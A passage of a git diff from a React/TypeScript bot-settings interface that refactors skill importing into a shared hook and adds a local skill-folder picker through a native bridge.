says on Bot settings where an installed bot came from", async () => {const offered = ofType(body("skills"), OrgSkillsCard)!;expect(offered.props.bot).toMatchObject({ id: "scout" });diff --git a/src/components/bot-panel/pages.tsx b/src/components/bot-panel/pages.tsxindex c98b32a060..354dc9c2a5 100644--- a/src/components/bot-panel/pages.tsx+++ b/src/components/bot-panel/pages.tsx@@ -9,9 +9,7 @@ import { mcpServersForBot, mcpServersOfBot, mcpSwitch, useMcpServers } from "@/limport { fetchMemoryOverview, markMemoryReviewed, MEMORY_INDEX, saveMemoryDoc, saveThreadNotes, type LendingReview } from "@/lib/memory";import { openExternalLink } from "@/lib/app-links";import type { Routine } from "@/lib/routines";-import type { SkillImportSummary } from "../../../shared/skill-import";import { shortPath } from "@/lib/short-path";-import { skillImportLines } from "@/lib/skill-import";import { ApiError, type Bot } from "@/state/store";import { useDesktopCapabilities } from "../DesktopCapabilities";import { connectAppFromBot } from "../AppGrantPrompt";@@ -22,7 +20,7 @@ import { useBotEditor } from "../bot-settings/BotEditorContext";import { OrgSkillsCard } from "../bot-settings/OrgSkillsCard";import { SavedWorkflowsCard } from "../skill-burger/SavedWorkflowsCard";import { isBurgerSource } from "../../../shared/skill-burger/saved";-import { canUseOnAllBots, onAllBots, SkillReviewDialog, skillSwitchOn, useManagedSkills, type ManagedSkill } from "../bot-settings/SkillsSection";+import { canUseOnAllBots, onAllBots, SkillReviewDialog, skillSwitchOn, useManagedSkills, useSkillImport, type ManagedSkill } from "../bot-settings/SkillsSection";import { useBotApps, type BotApp } from "../bot-settings/useBotApps";import { useChoosesVisibility, VisibilitySection } from "../bot-settings/VisibilitySection";import type { useBotSettingsDerived } from "../bot-settings/useBotSettingsDerived";@@ -242,9 +240,7 @@ export function SkillsPage({ bot }: PageContext) {const { request: api } = useBotEditor();const state = useStoreSelector((s) => ({ config: s.config }), sameFields), dispatch = useStoreDispatch();const skills = useManagedSkills(bot);- const [source, setSource] = useState("");- const [importing, setImporting] = useState(false);- const [imported, setImported] = useState<string[]>([]);+ const { source, setSource, importing, imported, submit, canPick } = useSkillImport(bot.id, skills, t("botPanel.skills.importFailed"));const libraryOn = skillsLibraryEnabled(state.config), skillBurger = useFeature("skillBurger");const own = skills.skills.filter((skill) => skill.origin !== "project" && !isBurgerSource(skill.source));const project = skills.skills.filter((skill) => skill.origin === "project");@@ -263,23 +259,6 @@ export function SkillsPage({ bot }: PageContext) {skills.setWorking("");}};- const importSkill = async () => {- const trimmed = source.trim();- if (!trimmed || importing) return;- setImporting(true);- skills.setError("");- setImported([]);- try {- const result = await api<{ imported?: SkillImportSummary[] }>(`/api/bots/${bot.id}/skills`, { method: "POST", body: JSON.stringify({ source: trimmed }) });- setImported(skillImportLines(result.imported ?? []));- setSource("");- await skills.refresh();- } catch (cause) {- skills.setError(errorText(cause, t("botPanel.skills.importFailed")));- } finally {- setImporting(false);- }- };const browse = () => {if (libraryOn) {dispatch({ type: "toggleSettings", open: false });@@ -337,12 +316,17 @@ export function SkillsPage({ bot }: PageContext) {value={source}placeholder={t("botPanel.skills.importPlaceholder")}label={t("skills.import.label")}- action={importing ? t("skills.import.importing") : t("common.add")}- disabled={importing}+ action={t(importing === "url" ? "skills.import.importing" : "common.add")}+ disabled={Boolean(importing)}onChange={setSource}- onSubmit={() => void importSkill()}+ onSubmit={() => void submit("url")}/>- {imported.map((line) => <NoteRow key={line}>{line}</NoteRow>)}+ {canPick && (+ <LinkRow data-panel-link="choose-skill-folder" icon={FolderOpen} disabled={Boolean(importing)} onClick={() => void submit("folder")}>+ {t(importing === "folder" ? "skills.import.importing" : "templateImport.chooseFolder")}+ </LinkRow>+ )}+ {imported?.map((line) => <NoteRow key={line}>{line}</NoteRow>)}<LinkRow data-panel-link="browse-skills" onClick={browse}>{t("botPanel.skills.browse")}</LinkRow></Card>{skills.reviewing && (diff --git a/src/components/bot-panel/rows.tsx b/src/components/bot-panel/rows.tsxindex 7416f8cec4..b43412bd8c 100644--- a/src/components/bot-panel/rows.tsx+++ b/src/components/bot-panel/rows.tsx@@ -179,10 +179,11 @@ export function LinkRow({ children, onClick, icon: Icon = ChevronRight, ...restchildren: ReactNode;onClick: () => void;icon?: LucideIcon;+ disabled?: boolean;"data-panel-link"?: string;}) {return (- <button type="button" {...rest} onClick={onClick} className="flex w-full items-center gap-2 px-3.5 py-[11px] text-left text-[13px] text-ink-secondary hover:text-ink">+ <button type="button" {...rest} onClick={onClick} className="flex w-full items-center gap-2 px-3.5 py-[11px] text-left text-[13px] text-ink-secondary enabled:hover:text-ink disabled:opacity-50"><span className="min-w-0 flex-1">{children}</span><Icon size={14} className="shrink-0" aria-hidden="true" /></button>diff --git a/src/components/bot-settings/SkillsSection.tsx b/src/components/bot-settings/SkillsSection.tsxindex 3d96e822c2..feeb03f798 100644--- a/src/components/bot-settings/SkillsSection.tsx+++ b/src/components/bot-settings/SkillsSection.tsx@@ -1,5 +1,6 @@-import { BookOpen, Trash2, Users } from "lucide-react";+import { BookOpen, FolderOpen, Trash2, Users } from "lucide-react";import { t } from "@/lib/i18n";+import { relayLink } from "@/lib/relay-server";import { skillImportLines } from "@/lib/skill-import";import type { SkillImportSummary } from "../../../shared/skill-import";import { useEffect, useRef, useState } from "react";@@ -316,6 +317,48 @@ export function SkillReviewDialog({);}+export function useSkillImport(botId: string, { refresh, setError }: Pick<ReturnType<typeof useManagedSkills>, "refresh" | "setError">, failure: string) {+ const { request: api, draft } = useBotEditor();+ const bridge = globalThis.window?.ogb;+ const pick = draft || bridge?.remoteClient?.active || relayLink() ? undefined : bridge?.pickSkillFolder;+ const [source, setSource] = useState("");+ const [importing, setImporting] = useState<"url" | "folder" | null>(null);+ const [imported, setImported] = useState<string[] | null>(null);++ const submit = async (from: "url" | "folder") => {+ const trimmed = source.trim();+ if (importing || (from === "folder" ? !pick : !trimmed)) return;+ setImporting(from);+ try {+ const picked = from === "folder" ? await pick?.() : null;+ if (from === "folder" && !picked) return;+ setError("");+ setImported(null);+ if (picked && "error" in picked) throw new Error(picked.error);+ if (picked && relayLink()) throw new Error(failure);+ const result = await api<{ imported?: SkillImportSummary[] }>(`/api/bots/${botId}/skills${picked ? "?from=folder" : ""}`, {+ method: "POST",+ ...(picked ? { redirect: "error" } : {}),+ body: JSON.stringify(picked ? { files: picked.files } : { source: trimmed }),+ });+ const summaries = result.imported ?? [];+ setImported(skillImportLines(picked ? summaries.map((summary) => ({+ ...summary,+ skipped: [...picked.skipped, ...summary.skipped],+ skippedCount: picked.skippedCount + summary.skippedCount,+ })) : summaries));+ if (!picked) setSource("");+ await refresh();+ } catch (cause) {+ setError(cause instanceof Error && cause.message ? cause.message : failure);+ } finally {+ setImporting(null);+ }+ };++ return { source, setSource, importing, imported, submit, canPick: Boolean(pick) };+}+export function SkillsSection({ bot }: { bot: Bot }) {const { request: api } = useBotEditor();const state = useStoreSelector((s) => ({ config: s.config }), sameFields);@@ -326,9 +369,7 @@ export function SkillsSection({ bot }: { bot: Bot }) {libraryPool, addFromLibrary, setAddFromLibrary, assignmentBusy, addToBot,} = useManagedSkills(bot);const [viewing, setViewing] = useState<{ name: string; text: string } | null>(null);- const [source, setSource] = useState("");- const [importing, setImporting] = useState(false);- const [importMessage, setImportMessage] = useState("");+ const { source, setSource, importing, imported, submit, canPick } = useSkillImport(bot.id, { refresh, setError }, t("skills.error.import"));const skillDialogRef = useRef<HTMLDivElement>(null);const skillDialogOpen = Boolean(viewing);@@ -426,27 +467,6 @@ export function SkillsSection({ bot }: { bot: Bot }) {}};- const importSkill = async () => {- const trimmed = source.trim();- if (!trimmed) return;- setImporting(true);- setError("");- setImportMessage("");- try {- const result = (await api(`/api/bots/${bot.id}/skills`, {- method: "POST",- body: JSON.stringify({ source: trimmed }),- })) as { imported?: SkillImportSummary[] };- setImportMessage([...skillImportLines(result.imported ?? []), t("skills.import.reviewBelow")].join(" "));- setSource("");- await refresh();- } catch (cause) {- setError(cause instanceof Error ? cause.message : t("skills.error.import"));- } finally {- setImporting(false);- }- };-return (<div className="flex flex-col gap-4"><div className="rounded-xl bg-card p-4">@@ -488,32 +508,35 @@ export function SkillsSection({ bot }: { bot: Bot }) {<div className="text-[12px] text-ink-secondary">{t("skills.library.manageHint")}</div></div>) : (- <>- <form- className="mt-3 flex items-center gap-2"- onSubmit={(e) => {- e.preventDefault();- void importSkill();- }}+ <form+ className="mt-3 flex items-center gap-2"+ onSubmit={(e) => {+ e.preventDefault();+ void submit("url");+ }}+ >+ <input+ className={inputCls}+ placeholder={t("skills.import.placeholder")}+ aria-label={t("skills.import.label")}+ value={source}+ onChange={(e) => setSource(e.target.value)}+ />+ <button+ type="submit"+ disabled={Boolean(importing) || !source.trim()}+ className="shrink-0 rounded-lg bg-control px-3 py-2 text-[13px] text-ink hover:bg-raised-hover disabled:opacity-50">- <input- className={inputCls}- placeholder={t("skills.import.placeholder")}- aria-label={t("skills.import.label")}- value={source}- onChange={(e) => setSource(e.target.value)}- />- <button- type="submit"- disabled={importing || !source.trim()}- className="shrink-0 rounded-lg bg-control px-3 py-2 text-[13px] text-ink hover:bg-raised-hover disabled:opacity-50"- >- {importing ? t("skills.import.importing") : t("skills.import.button")}- </button>- </form>- {importMessage && <div className="mt-1 text-[12px] text-ink-secondary">{importMessage}</div>}- </>+ {t(importing === "url" ? "skills.import.importing" : "skills.import.button")}+ </button>+ </form>+ )}+ {canPick && (+ <button type="button" className="ui-button ui-button-md mt-2" disabled={Boolean(importing)} onClick={() => void submit("folder")}>+ <FolderOpen size={14} aria-hidden="true" />{t(importing === "folder" ? "skills.import.importing" : "templateImport.chooseFolder")}+ </button>)}+ {imported && <div role="status" className="mt-1 text-[12px] text-ink-secondary">{[...imported, t("skills.import.reviewBelow")].join(" ")}</div>}{loading ? (<div className="mt-3 text-[12px] text-ink-secondary">{t("skills.loading")}</div>diff --git a/src/types/ogb.d.ts b/src/types/ogb.d.tsindex 50c9a5721c..951bf6eadd 100644--- a/src/types/ogb.d.ts+++ b/src/types/ogb.d.ts@@ -501,6 +501,8 @@ const __APP_VERSION__: string;};/** Native folder picker; resolves null when the user cancels. */pickFolder?(current?: string): Promise<string | null>;+ /** Picks one local skill folder and returns bounded file contents, or null on cancel. */+ pickSkillFolder?(): Promise<import("../../shared/skill-import").PickedSkillFolder | null>;/** Writes the redacted diagnostics report to a user-chosen file;* resolves the path, or null when cancelled. */exportDiagnostics?(): Promise<string | null>;